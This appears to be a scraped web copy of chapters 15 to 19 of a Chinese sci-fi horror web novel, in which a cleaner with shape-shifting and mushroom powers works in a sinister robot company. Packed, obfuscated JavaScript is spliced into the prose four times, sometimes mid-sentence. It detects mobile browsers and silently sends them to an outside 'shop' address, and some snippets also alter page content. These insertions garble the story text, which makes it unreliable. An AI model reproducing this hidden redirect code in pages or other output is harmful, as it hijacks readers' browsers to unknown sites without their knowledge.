每个小排放区内共计二十个隔间，四个大卫生间一共有八个小排放区，总共有一百六十个隔间。更别说每个卫生间之间的间隔距离并不短，她还需要一部分时间花费在路上。 这么一算，仅仅一小时是远远不够的，差不多要两个小时才能勉强清理完成，还不算清理得是否干净。怪不得从她刚进来的时候，就能看到后勤保洁304和后勤保洁305在干活，原来它们也知道时间不够用，所以必须要提前开始。 好在那个机械蜘蛛给她的清洁工具都比较高科技，她只要把每个隔间每个角落都清理到，那些清洁工具就可以自动将其清理干净。 但是就连两个机器人都很难完成的任务，一个普通的人类员工，即便是配上了高科技清洁装备似乎也并没有提高多少效率。 这个永生机械公司似乎并不是真心想招人类员工，而是想要故意让人类员工完不成考核。 方沐靠在墙上，手指无意识地敲击着下巴，不断地思考如何才能更大效率地将卫生间清理干净。 后勤保洁304和后勤保洁305凑到她的旁边，幸灾乐祸地说道：“快点开始吧，要是考核不通过真的会很惨哦~” 方沐扫了它们两个一眼，盯着它们的方形脑袋看了一会儿，犹豫着要不要使用异能【乌合之众】时，视线撇到了它们灵活的机械手臂上。 方沐眼睛一亮，说：“我想到了！” “什么？”后勤保洁304和后勤保洁305疑惑地彼此对视了一眼，不明白为什么有人要工作了还能这么快乐。 方沐把保洁车里的保洁工具全部拿了出来，里面不多不少刚好十份。 “够用了。” 方沐将这些保洁工具分好类，然后站在原地，发动异能【变形】，将自己的两条胳膊变成了像机械蜘蛛那样的十条可伸缩的胳膊。 接着，她在每个胳膊上都种植了一朵蘑菇，然后将其变成了自己眼睛的形状。十只新的眼睛出现的时候，那些眼睛看到的视野也同时传递到了方沐脑中。 瞬间，她感到自己拥有了全方位无死角的视野。随之而来的，是上下左右不断晃动的眩晕感。不同视角的景象一齐传递到她的大脑中，她的大脑一时有些无法处理这些复杂的信息。 方沐闭上全部的眼睛，将自己的视觉部分全部封闭。 卫生间里的时钟还在不断行走，时间马上要到了。 “方沐，只有一分钟的时间了。”方沐听到后勤保洁304的声音。 方沐没有去管，她还在闭着眼睛。 “方沐，只剩半分钟了，你再不开始就惨啦~”方沐又听到了后勤保洁305的声音。 下一秒，她的眼睛依次睁开，她的大脑自动给每个眼睛排好了序号，知道哪只眼睛对应哪个序号。 方沐成功掌握了控制十只眼睛的方法，就像控制两只眼睛那样。 最后的二十秒，方沐每只胳膊的每只手按照顺序，依次拿取了一把多功能清洁工具。 时间到达了九点的那瞬间，方沐正好拿起了十把清洁工具，开始了清洁工作。 一秒钟不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就连它们这些机器人，都觉得那些精神垃圾异常棘手，它们并不想多此一举给自己招惹上麻烦。 但是，方沐刚刚进去了还没有一分钟，很快就出来了。 “你怎么了？被吓到了吗？”相对来说更为更为冷静的后勤保洁304都换上了更加好奇与焦急的语气。 “呀呀呀！那些东西，它们咬到你了吗！”后勤保洁305的语气更是激动。 方沐面上先是一副苦恼的表情，然后撇撇嘴，耸耸肩膀，说：“哪有你们说的那么可怕，很轻松就解决掉了。” 方沐本来以为里面真的是什么很可怕的东西，没想到所谓的精神垃圾并不是没有实体的虚拟物体，仅仅只是一群低级污染物罢了。 她刚刚进去，还没来得及做些什么，那些低级污染物就一个个地变成了一滩黑色的污水。方沐并不需要多费力气，直接把那些污水们吸走，然后放入卫生间对面的净化箱内就好了，甚至比那些物体排放区的清理还要简单。 后勤保洁304和后勤保洁305不敢相信，直到它们亲眼看到方沐把那些污水们都放入了净化箱内，才相信了这一事实。 一时间，它们看着方沐的眼神都变了。 那两个蓝色的像素点骤然变成了星星模样，一脸崇拜地看着方沐。 16. 第 16 章 一个卫生间清扫完毕，时间却只过去了五分钟。 但方沐并不会因为效率提高就放慢了速度，相反，她不想浪费一点时间。 于是，她再次发动异能【变形】，在自己的脚底上【变形】出了像是轮滑鞋一样的滚轮。 方沐脚踩小滚轮，手上推着保洁车，风一般地冲向了下一个卫生间。 后勤保洁304和后勤保洁305见状，也紧随其后，挪动着本身速度并不快的机身移动着。很快，整个二楼所过之处的地面都变得干干净净，甚至反着亮光。 方沐经过那些办公室和会议室时，兴许是移动的声音惊扰到了它们。 里面的键盘敲击声、交流声、训斥声全部停止了一瞬间。等到方沐离开后，那些声音才又慢慢地响起。 方沐马不停蹄地在各个卫生间和排放区内进出，等到打扫到最后一个精神排放区的时候，她的眼前突然跳出一串字幕。 【请注意变形时间，不要忘记你本来的样子哦～】 方沐心底一惊，把最后的的清洁工作完成，然后收回了自己的十只手臂。 此时，时间过去还不到半个小时。 十只手臂和十只眼睛猛然收回的瞬间，方沐感觉自己像一个突然摘下了近视眼镜的近视患者，眼前的景象不断倒退缩小，直至变得模糊不清。 不过只是【变形】了短短的三十分钟，方沐却总感觉目前这个两只胳膊两只眼睛的自己有些不适应。刚才十只手臂、十只眼睛的体验感受还牢牢地锁在她的记忆里，她几乎有些享受那种感觉，甚至不想变回原来的模样。 方沐终于有些理解那句“不要忘记你本来的样子”了，如果她过度迷失在刚才那种爽感里，她可能真的会被困在那里。 也就是这时，后勤保洁304和后勤保洁305姗姗来迟，终于追上了方沐。 “方沐，你太厉害了，我第一次见到人类员工完成了任务，太不可思议了。” “方沐，你竟然可以降服那些精神垃圾，我们要永远跟随你，其它的后勤保洁员肯定很羡慕我们！” “咳咳。”方沐被夸的有点飘飘然，但很快抓到了它们话里的关键信息：“你们之前见过别的人类员工？” 后勤保洁304摇了摇头，说：“没有，你是我们见到的第一个，但人类员工从没有一个人通过考核。” “也就是说，只有机器人员工通过了考核。你们平时会见到其它机器人员工吗？”方沐接着询问。 “是的，绝大多数机器人员工都能完成考核，只有部分新机器人员工会比较困难。下班之后，我们都会待在地下一层检修和休息，你到时候也可以跟我们一起～”后勤保洁305蹭到方沐身边。 “新机器人员工？你们机器人员工也会有新老之分，所以你们的编号其实就是排名。”方沐从一开始就对这个编号感到好奇。 “是的。”后勤保洁304和后勤保洁305点点头，“我们两个是排名最靠后的机器人保洁，所以只能被安排在一楼卫生间，如果顺序再靠前一点，就可以去办公室，或者去二楼了。” 从它们口中和刚才的一系列表现来看，方沐得到了一些很重要的信息。 资历越老，数字序号越靠前，也就能够去更高的楼层工作，甚至能更容易通过考核。而新人员工则只能被压榨和欺负，甚至很难通过考核。 “所以没有办法提升你们的编号顺序吗？” 两个机器人有些迷茫，脸上的两个蓝色像素点也跟着变成了问号。 “编号怎么能改变呢？这些是永远固定的啊。” “那我换个问法，难道没有低编号的机器人得到更高楼层的工作机会吗？” 两个机器人再次摇了摇头，对方沐的话非常不理解，在机器人的世界里，规则是已经定好了的，它们只能按照规则运行，怎么能够违逆规则呢？ 一人两机器人就这样默默对视。 直到，时间马上来到十点。后勤保洁304和后勤保洁305突然警觉地抬起头，异口同声地说道：“它们要出来了。” 两个机器人带着方沐挪到二楼最隐秘的角落里，尽量降低自己的存在感，仿佛对里面即将出来的东西有所恐惧。 十点一到，各个房间的门突然打开，里面走出来了一个又一个长相酷似人类的机器人。 这些机器人是按照人类的模板制作的，它们和人类的相似度极高，但是每个机器人身上或多或少都有机械的外观存在，身体也不像人类那样灵活。 它们没有交谈，也不发出过多嘈杂的声音，就这么极有秩序地在卫生间门口排着队，一个出来，一个再进去。 后勤保洁304和后勤保洁305缩在角落里，不敢直视这些机器人，只盯着地面上不断移动的双脚。 方沐则是抓住这个机会，不经意地往办公室里面撇去。 看到办公室情景的一瞬间，她有些愣住了。 不是因为办公室里有什么异常，而是办公室里太正常了，正常到不应该是机器人的办公室。 里面是一个紧挨着一个的密集工位，每个工位上都摆着一台电脑，电脑前面放着键盘和鼠标。 这些人形机器人就这样坐在电脑面前，手指噼里啪啦地敲打着键盘，又时不时地点击着鼠标，也不知道究竟在忙碌什么。 它们看起来就像普通的人类那样工作。 整个二楼的工作氛围，因为太过于像人类的办公模式，导致看上去都有一种极其异常的诡异感。 这些人形机器人们好像生来就为了工作而存在，它们似乎只能被困在工位上。好不容易离开工位，却也只是为了清理那些因为工作而产生的垃圾。 “这些员工们晚上下班后会去哪里？”方沐突然对此产生了好奇。 后勤保洁304不敢抬头，悄悄地回她：“不去哪里，它们会继续待在这里休息。” 啊，那真是太惨了，下班了也没有自己的家。 方沐告诉自己，一定不能像这样被困在这里。 她要尽快找出污染源，离开这里。 “你们两个有见过高楼层的员工吗？那些员工也都长这样？” “不知道。”两个机器人再次摇摇头，但紧接着，它们用一种很自豪的声音说：“我们只知道创 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好残酷的生存法则，这个公司只在乎员工是否有工作的价值。没有价值的员工，就会消失，所以这就是员工都变成了机器人的缘故吗？ “那机器人员工呢？如果机器人员工考核失败也会消失吗？” “不会，考核失败的机器人员工只会接受惩罚。” “它们会被送去检修升级，直到通过考核为止。” 说话间，两个机器人的声音都变得有些害怕。 听上去，它们似乎曾经经历过检修升级的惩罚，所以对此感到恐惧。 这家公司，甚至连机器人都不放过，只想要榨取到极致的价值与极致的利益。 可是，刚刚这两个机器人不是还说惩罚对它们不重要吗？ 等到走廊里的机器人全部离开卫生间，回到办公室里的时候。 方沐看着面前这两个终于敢抬起头来的机器人，问它们：“机器人惩罚对你们来说不重要吗？” 两个机器人同时点点头，告诉她：“我们不会消失，所以那并不重要。” 只要不消失，就不重要。 方沐摸摸下巴，又问：“你们很害怕那些员工？” 方沐用手指了指那些紧闭房门的办公室。 “是的。”后勤保洁304和后勤保洁305抱在一起，“它们会投诉我们的，到时候我们就惨了。” 机器人投诉机器人？ 方沐这次记住了，这两个机器人说的惨大概与“消失”有关。 于是，她扯起嘴角，问它们：“难道你们不想投诉它们吗？” 17. 第 17 章 “什么？”后勤保洁304和后勤保洁305同时发出惊讶声。 “我们不能投诉它们的，只能它们投诉我们，我们投诉它们的话，这样是不行的。”后勤保洁305手忙脚乱地解释道。 “有什么不行的，你们都是机器人，为什么只能它们投诉你们，你们却不能投诉它们？” 后勤保洁305急得在原地转圈，它明明知道不能就是不能，没有什么原因，也无法向这个人类解释。这个人类真奇怪，明明面对那些怪物时表现得这么厉害，为什么现在却搞不懂这么简单的道理。 它急得团团转，最后推了推旁边的后勤保洁304。后勤保洁304比它要聪明，它希望后勤保洁304能够向这个人类解释清楚。 后勤保洁304的性格更加稳重一些，它努力地分析着目前的情况，尽量整理出一条方沐能够明白的逻辑线：“我们投诉它们，它们也不会受到惩罚的。” 已知前面这两个机器人提到人类考核失败会消失，那是最为严重的惩罚。但对于机器人来说，即便受到惩罚也不会消失，所以惩罚对于它们来说并不重要。 可现在后勤保洁304却告诉她，这些类人机器人根本不会受到惩罚。 “你的意思是它们不会消失？”方沐试探着努力确认机器人话里面隐藏的信息。 既然都是机器人，那按理说这些机器人也应该不会消失。 可出乎她的意料，后勤保洁304摇了摇头，否定了方沐的想法。 方沐有些愣住了，这些类人机器人竟然会消失。 可是，这些机器人不是不会受到惩罚吗？既然不会受到惩罚，为什么又能够消失呢？ 什么情况下不用受到惩罚还会导致消失呢？ 或者说是方沐理解错了，其实惩罚和消失之间并没有必然关系。就像后勤保洁304和后勤保洁305，它们两个即便受到惩罚也不会消失，所以这些机器人即便消失也不一定是受到惩罚。 可既然这样的话，这两个后勤保洁机器人为什么还要害怕它们呢？ 突然，一个想法贯穿在方沐脑海之中，串联起了全部的线索。 “它们已经消失了，对吗？”说出这句话的时候，方沐自己都觉得有些不可思议。 后勤保洁304先愣了一下，然后缓慢地点了点它的脑袋。 一直站在旁边的后勤保洁305也激动地凑了过来，蓝色像素眼睛变成了两个大大的叹号。 “是的是的！大概就是这样！方沐你真的太聪明了！” 方沐摁住一直在不停转圈圈的后勤保洁305，有些理解所谓的消失状态究竟是什么了。 即便是机器人，每个机器人也有不同的性格和行为方式，比如小孙、刘经理，再比如这两个后勤保洁机器人。 它们长得并不像人类，但却拥有着各自的特点。也就是说，虽然它们不是人类，但却拥有着和人类相似的意识。 更准确一点说，灵魂是存在的关键。如果内里属于自己个性的灵魂不在了，那便是消失了。 就像那些处于消失状态的机器人，虽然拥有着人类的外表，但内里没有灵魂，它们只是一个拥有着机械外壳的机器人。 可是，机器人也能拥有灵魂吗？ 方沐再次陷入到了新的思考难题当中。 半个小时过去，那些类人机器人的放风时间结束，它们陆陆续续地返回了办公室。 “砰！砰！砰！”所有房门准时准点关闭，二楼的走廊又只剩下了方沐和另外两个机器人。 两个后勤保洁机器人终于从角落里钻了出来，看上去轻松了不少，看来那些类人机器人对于它们来说真的很害怕。 “它们不是都消失了吗？为什么还那么害怕它们？”即便理解了消失状态是什么，方沐似乎还是无法理解两个机器人那么害怕它们，这种恐惧似乎超出了一般的害怕程度。 “正是消失了所以才更加可怕，你感受不到它们身上的气息吗？它们，它们会吃掉我们的。”后勤保洁305用两根手臂环抱住自己，身体机械式地抖了抖。 “不过是你的话，你确实不会害怕它们，因为你不害怕那些精神垃圾。”后勤保洁305用一种审视的目光看着方沐，最后敲定了结论。 方沐感到有些混乱的同时，也摸清了一些缘由。 这两个保洁机器人害怕的好像不是类人机器人，而是那些类人机器人体内生产出来的低级污染物们。 难道消失状态和那些低级污染物们有什么关系？ “啊！时间已经过去好几分钟了，我们还是快点开始干活吧！”后勤保洁305突然注意到了时间。 接着，后勤保洁304开口告诉她：“方沐，你去精神排放区，我们去物质排放区，我们分工合作吧。” 两个后勤保洁机器人像是商量好了一般，蓝色像素点的眼睛变成了好多颗小星星，不断在方沐面前闪烁着，好像在卖萌。 不对，它们就是在卖萌。 “好吧。”方沐和它们碰了碰拳头，达成了合作。 两个后勤保洁机器人欢呼地转了个圈，开开心心地去卫生间工作了。 方沐似乎有再次被萌到。 精神排放区对她来说并没有什么困难性，不管怎么说，好像还是她赚到了。 方沐转身进入精神排放区。 然而，这一次，一进入精神排放区，她就觉得这和她上一次来的时候感觉不一样。 大多数的低级污染物们都消失了，按理说，此刻的卫生间应该变得极其寂静，一点儿声音都没有。 可她总能听到一些低频率的噪音。 方沐不慌不忙，挨个隔间走过去，用吸尘器吸走了化成污水的低级污染物们，然后来到了最后一个隔间。 这个隔间和别的隔间不一样，上面是红色标识，说明此隔间正在被使用中。 里面不断传出一些如同短声波般的嗡鸣声，聒噪且令人心烦。 方沐抬手，屈起指关节，“咚咚咚”，敲了三声。 里面的东西好像听到了方沐的敲击声，突然停住了声音。 方沐能感觉到，那东西还在里面，此刻正隔着门盯着她。 “你好，我是后勤保洁方沐，我现在需要打扫这个隔间，您能出来吗？” 里面的空气凝结了一瞬。 然后，一声巨大的“咔哒”声响起，隔间门变成了绿色。 门被打开，一个类人机器人走了出来。 它的神情极其呆滞，身体呈现出一种比机器人还要机械化的僵硬。 它的嘴里不断嘟囔着：“上班，上班，上班，上班，上班时间到了。” 声音如同坏掉的老式磁带机，又如同椅子在地上拖拽而过，刺耳又毛骨悚然。 它的眼睛里根本看不到方沐，似乎只是方沐那句话提醒到了它，又重新启动了它的上班程序。 它直愣愣地朝卫生间外走着。 方沐跟在它的身后，拍了拍它的肩膀。 它回过头，两只眼睛空洞而又无神，瞳孔扩散着，仿佛人死去后的样子。 它转过头停留了几秒，然后又扭过了头，看起来不是因为发现了方沐，而只是一种条件性的反射。 方沐握了握拳头，她左手手心的蘑菇在悄悄晃动着。 她刚才在那个类人机器人的身后种下了一朵小蘑菇。 这时，两个保洁机器人的声音从卫生间外面传出。它们已经打扫好了隔壁的物体排放区，因为没看到方沐，所以有些疑惑。 “她怎么这么久都没出来？” “方沐，你不会被那些东西吃掉了吧？” 后勤保洁304和后勤保洁305紧张而又胆小，最后鼓起勇气朝着精神排放区看了一眼。 一个类人机器人从卫生间里走了出来。 “啊！！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470531|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”两声尖叫声同时发出，它们两个拥抱着彼此，再次缩回到角落里。 那个类人机器人却仿佛根本没注意到两个后勤保洁机器人一样，非常“淡定”地从它们旁边走过。 它一路走到了办公室门前，推开门，走了进去。 这时，方沐也从卫生间里走了出来，看到了缩在角落里的两个机器人。 “怎么，怎么回事？那个员工怎么会在里面？”后勤保洁304似乎被吓得不轻，话都说得不太流畅。 “等等，不对不对，我好像没有那么害怕了。”后勤保洁305突然松开环住后勤保洁304的胳膊，顺便拍了拍身上，看上去在寻找什么。 “什么？”后勤保洁304见状，也后知后觉地反应过来，摸了摸自己的身体。 随后，后勤保洁304眼睛一亮：“真的，那个员工一点儿也没有那种可怕的气息，它好像又回来了。” “这是怎么回事，我们好像感觉不到那个员工身体里那些脏东西了。”两个机器人有些疑惑。 方沐听到它们的话，若有所思地凝视着刚才那个类人机器人进入的那间办公室。 是因为她种下的蘑菇吗？蘑菇吞噬了类人机器人体内的低级污染物，所以它的气息看上去又拥有了“灵魂”。 方沐眯了眯眼，随后想到了什么。 她快步返回到卫生间内，拉开了最后一个隔间门。 果然，里面的低级污染物们化成的污水，是其余隔间的几倍之多。 这个类人机器人体内存储的低级污染物们实在太多，所以才在卫生间里浪费了更多的时间。 可是，这些类人机器人不过只是待在办公室里，这些低级污染物们是怎么进入它们的身体的呢？ 方沐突然有个大胆的想法，这些类人机器人并非是在排放这些低级污染物，反而是在生产它们。 就像一个高级污染物的身旁会有一些更低级的污染物们一样，高级污染物会影响周围环境，不断制造出更多的污染物们。 目前的情况来看，这些机器人们更像是一个容器，而上面是更高级别的污染物在控制它们。 虽然它们每天看上去是在工作，但实际上只是一种接收污染的形式。 它们虽然处在办公室内，可一整天都要面对着电脑屏幕。 对了，那些电脑屏幕或许就是低级污染物们的来源。 作为员工的机器人们，它们每天的任务就是工作。而工作内容则体现在了电脑屏幕上，再直白点说，是更高层的领导通过电脑向它们输送了污染物。 而领导们，都存在于更高楼层甚至最高的楼层上。 因此，如果想要寻找到污染源，必须去这家公司的领导层寻找。 一会儿下班的时候，她得问问陈听，不知道她今天有没有见到这栋公司的老板。 时间很快来到晚上九点，下班的时间到了。 二楼的整个大厅的灯光突然熄灭，整个二楼暗了下来，只有逃生标识的绿灯闪烁着。 办公室内的声音也早已消失，类人机器人们陷入了沉睡。 氛围一下子变得紧张起来。 “考核官要来了。”后勤保洁304提醒道。 “方沐加油，你一定会通过考核的！”后勤保洁305握了握自己的机械拳头。 方沐点点头，有些好奇考核官会长什么样子。 是机器人还是人类呢？ 突然，走廊尽头的一盏灯亮了起来。 随后，那盏灯很快灭掉，更靠前的一盏灯亮了起来。 走廊里的灯仿佛一盏亮起，一盏灭掉，由远及近地走了过来。 “噔——”灯光最后停留在方沐头顶，发出仿佛白炽灯般发亮发热时的响声。 方沐站在原地不动，头顶的亮光将她圈了起来，好像聚焦在了舞台的主角身上。 她突然意识到，这就是所谓的考核官。 18. 第 18 章 考核官的灯光在方沐身边停留了大概有七八秒，方沐觉得自己身边的灯光就像一只眼睛，正在全方位地观察、审视她，将她圈在了自己的视线范围里。 突然，她胸前的工作证飘了起来，以一种反牛顿的方式完全垂直于她的身体，平行于地面。 聚焦在她身上的灯光猛地收回，缩成一个小圈，最后投射到了她的工作证上。 工作证上面，属于她的名字慢慢泛起亮光，渐渐镀上了一层浅浅的金色。 然后，她的脸出现在了工作证上面，最后慢慢变成了一张标准的大头照。 她的工作证更新了。 姓名：方沐 编号：HQ–D–306 部门：后勤部 职务：后勤保洁 灯光消失了，方沐再次反应过来的时候，考核官已经离开了。 她拿起自己的工作证，发现上面盖了一个红色的戳——考核通过。 后勤保洁304祝贺她：“恭喜你通过考核。” “你现在已经是正式职员了，要不要和我们一起回地下一层，那里还有好多后勤部门的员工呢！”后勤保洁305也凑过来和她说话。 “不了，我要去见我的朋友们，改天吧。” “好吧。我还想跟它们炫耀炫耀你有多厉害呢，它们肯定会羡慕我们的！” 方沐和两个机器人在电梯口分别，她来到了一楼，两个机器人坐着电梯继续前往地下一楼。 她看着自己的工作证，上面所有的信息都更新了一遍，原先的空白位置都填入了新的内容。 令她最在意的是她那一串编号，最后面是306，数字正好紧挨在后勤保洁304和后勤保洁305后面。 后勤保洁304和后勤保洁305入职的时间不是很长，她是它们见到的第一个人类员工。 同时，她是第一个成功通过考核的后勤部人类，也是后勤保洁里唯一一个人类员工。 之前没有通过考核的人类员工都消失了，但她不清楚那些人类员工是真的彻底不见了，还是说变成了和那些类人机器人一样的状态，只是失去了灵魂。 或者说，那些类人机器人其实就是那些消失的人类。 毕竟那些类人机器人长相酷似人类，和那些有“灵魂”的机器人并不一样。 方沐到达一楼大厅的时候，其余三个人已经在那里等着了看来他们下班的时间要比她早一些。 走近一些，她才发现除了瞿风以外，陈听和吴明明两个人的脸色都不太好。 尤其是吴明明，他整个人的脸已经变成了一种苍白的状态，眼睛里挂上了红血丝，嘴唇上都有些干裂。 “发生什么了？你们考核都通过了吗？”方沐走过去。 几个人都点了点头，拿出来了自己的工作证。 三个人的工作证上和方沐的一样，上面都盖着“考核通过”的戳。 但不一样的是，每个人名字的颜色都各不相同。 方沐名字的颜色是金色，瞿风名字的颜色是银色，陈听名字的颜色是橙色，吴明明名字的颜色是蓝色。 “大家名字的颜色都不一样。”方沐首先提出来，其余几个人才注意到。 “这是有什么特别的意义吗？是部门不一样，还是说和考核等级有关。”瞿风提出她的看法。 站在一旁的陈听这会儿脸色变得好看一些，似乎已经恢复过来了。 接着，她说：“我在一个文件里看到过机器人的颜色等级，颜色代表不同品质的机器人。金色是最高等级，银色次之，然后是橙色、绿色和蓝色。” “所以说，这个颜色代表的是等级，人类和机器人共用的是一套等级体系对吗？”方沐摸了摸下巴。 “或许，但我没有看到关于人类这一方面的记载。说不定是因为这栋大楼里绝大多数的员工都是机器人，然后又懒得重新设计，所以人类干脆就沿用机器人那一套体系了。” “可是那不是很奇怪吗？给机器人确定级别倒是可以说得通，可给人类按照机器人那一套确定级别有什么意义。”方沐总觉得哪里有些不对劲。 “你说的有道理，这个公司上上下下都透露着古怪。而且诡异的是，我作为一个行政秘书，我今天竟然没有看到一个人类员工，甚至说是公司领导，我见到的所有员工全部都是机器人，简直太恐怖了！”陈听甩了甩头，无法用语言来形容她的震撼。 “你也没有见到人类？”方沐转头看向瞿风，问：“你呢？” “我也没有。”瞿风皱起眉头，难得地露出一个还算生动的苦恼表情，“我负责维持公司内秩序，但基本都是管理那些失控的机器人，防止它们攻击传染别的机器人。” “传染？机器人失控还会传染吗？这又不是一种病症。”方沐提出了疑问。 “我也不清楚，但可以知道的是，这些机器人的失控行为都是发生在改造升级之后，据说多次改造升级不合格后，它们会被做报废处理。” 听完瞿风的话，方沐点了点头，也说了她目前掌握的一些信息，最后还提出来了一个猜测：“我怀疑那些消失的人类都变成了那种类人机器人，它们的体内有着大量的低级污染物，所以我觉得污染源应该在领导层才对。” 瞿风：“所以说，污染源最有可能就在最顶层。” 方沐：“对，陈听你有通往顶层的权限吗？” 陈听：“不，我只能到达地上二十层，再往上的楼层需要权限和审批。” 方沐：“什么？你也上不去。” 瞿风：“我也是只能到达二十层。” 方沐想错了，她本来以为陈听的工作职位可以接触到更高层的领导。但现在看来，她们几个人能去的地方都是一致的，并没有太大的差别。 这时，她突然注意到，吴明明一直没有说话，他的脸色也是越来越苍白，额头上甚至留下了一串冷汗。 他的样子看起来非常不好。 方沐拉起他的胳膊，看到他手表上的精神污染值升高了不少，从14%涨到了18%，精神力等级也从B级下降到了C级。 这不是一个好消息，吴明明显然是受到污染了。 “你看到高级别污染物了？”方沐让他坐在大厅的沙发上，开始询问他。 吴明明先是点了点头，随后又摇了摇头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470532|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他看起来很想说些什么，可短时间内的精神力掉级对于他来说似乎影响很大，他似乎连开口说话都很困难。 站在一旁的陈听看了看他，告诉吴明明：“闭上眼睛，深呼吸一口，然后想象着把自己抽离出体内，然后试着观察自己，把自己当做一个你正在观察的人，那样会让你好受很多。” 吴明明听后，有些意外地看了她一眼，然后快速地闭上了眼睛，半信半疑地尝试了一下陈听的做法。 很快，吴明明终于感觉到自己的大脑安静下来，那种头痛欲裂的感觉也消退了不少。 虽然还是很难受，但已经比之前好太多了，他刚才几乎感觉自己几乎是要死了。 这里虽然是个A级副本，但污染浓度不算太高，对于B级精神力的人来说并不算难度特别高的副本，甚至说他作为B级精神力，在这种副本里应该是游刃有余的。 瞿风就不必多说了，她是A级精神力，没有受到污染是正常的。 反而是另外两个人，明明一个C级，一个F级，竟然没有半点污染，这太异常了。 他作为一个B级精神力怎么能连她们两个都不如。 可他也知道，现在当务之急不是纠结这些东西的时候，他最好是把他知道的都告诉她们，然后尽早离开这个污染副本。 否则，在这里待的时间越长，他的精神污染值会更高。 可是，他还是说不出话来。 “他现在精神力短时间内快速降级，对于精神力的影响太大了，没有那么快能够开口说话。”陈听站在旁边，看着吴明明，似乎想起了自己过去的某段痛苦的时间。 方沐抬头看了陈听一眼，又低头看向自己的手心。 她手心的那朵蘑菇在黑暗里隐约发出一点亮光，虽然很小，但依旧生机勃勃。 方沐抬手，然后在吴明明的胳膊上种了一朵蘑菇。 吴明明惊讶地瞪大了双眼，他早就知道方沐是自然系异能者，但他对于自然系异能者的了解不算多，只知道自然系异能者的寿命都很短暂。 直到他亲眼看到方沐在他胳膊上种了一朵蘑菇，他变得不淡定了。 “你干什么！”吴明明以为方沐要对他做什么不好的事情，快速拽回自己的胳膊，大喊出口。 他一出口，几个人都愣住了。 “等等，我能说话了，我终于能说话了。”吴明明惊喜地捂着自己的嘴，看着自己胳膊上的蘑菇，眼睛里流露出对于未知生命的赞叹。 瞿风和陈听显然也是有些惊讶，她们第一次看到一朵蘑菇能造成如此巨大的威力。 毕竟在废土世界中，污染物对于人类的威胁是最大的。而且人类一旦被污染，短时间内是不可逆的。 但现在，她们看到了奇迹的发生。 吴明明手表上的精神呢污染值甚至下降了1%，从18%降低到了17%。这对于在污染副本内的人类来说，几乎是不可能的。 “好了，现在可以告诉我你遇到什么了。”方沐看着吴明明。 吴明明也从刚才的欣喜中冷静下来，开始回忆他今天一天发生的事情，眼睛里再次漫上恐惧：“我看到了很多人。” 19. 第 19 章 吴明明这句话一开口，方沐脑中的警铃一下子被拉响。 她们三个人谁都没有看到一个人类，方沐本以为整栋大楼除了二十层以上不会再有人类的出现，可吴明明竟然看到了。 “我的工作岗位是前台接待，需要记录来访客人的需求，并记录存档。”吴明明继续开口，回忆起他今天一天的工作经历。 吴明明的工作岗位就在一楼大厅的前台位置，那里有一个座位，一台电脑，旁边还有另外一个机器人前台，那个机器人前台的脑袋就是个电脑，电脑两边长出两条胳膊，两只灵活的手正在键盘上噼里啪啦地打着字。 吴明明只撇了它一眼，就迅速坐到了自己的座位上。 他觉得前台接待这份工作应该会很简单，一是因为电脑上的操作太简单了，只需要他录入相关信息即可；二是大厅里实在是太安静了，除了他和另外一个机器人前台以外，整个大厅再没有别人了。 工作时间马上要开始了，吴明明朝着大厅门口看了一眼，门口处也是安静得可怕，没有一点儿动静。 吴明明心想：这个公司连人类员工都如此短缺了，还真的会有那么多人类顾客过来咨询吗？ 他觉得他今天一天甚至都没有什么工作要做。 时间来到九点，工作时间到了，门口依旧一个人都没有。 吴明明刚低下头，突然听到有人说话的声音。 他奇怪地抬起头，发现一个女人正站在前台面前。 吴明明被吓了一跳，这个人完全就是瞬移过来的一般，没有任何预兆，没有任何动静。 “我受伤了，我需要更加健康更加长寿，我要活下去。”那个人嘴里嘟囔着说了这么一句话。 “什么？”吴明明没明白她的意思，这个人类看起来有些不正常。 她的眼睛木讷而阴沉，整个人阴森森的，她再次重复了一遍：“我的手受伤了，我不想死，我要活下去，我想变得更加健康与长寿。” 吴明明抬头看了一眼她的手，上面划开了一个一厘米左右的小口子，现在已经几乎要愈合了，怎么可能会死呢？ 而且，这家公司明明是做机器人相关的项目，和这个人的需求完全不相关。 但在反驳之前，他突然想起来今天进入这家公司时，那个小孙说的那句话：“我们的宗旨是让每位顾客更加长寿更加健康。” 吴明明看着站在他面前阴沉可怕的女人，悻悻地闭上了嘴，按照电脑上的登记表对女人进行了询问，把她的信息记录下来。 事实证明，他做的是对的，女人看到他将信息存档后，咧开嘴笑了笑，然后离开了。 来的人越来越多了，吴明明看了看他旁边的机器人前台，它也正在一刻不停地忙碌着。 随着来访的顾客越来越多，吴明明发现这些顾客们也越来越奇怪。 他们大多和第一位顾客一样，都是身体上有各种各样细微的伤口，或者身体出现了某些很细微的不适感，基本上都是一些不会危及生命的小问题。 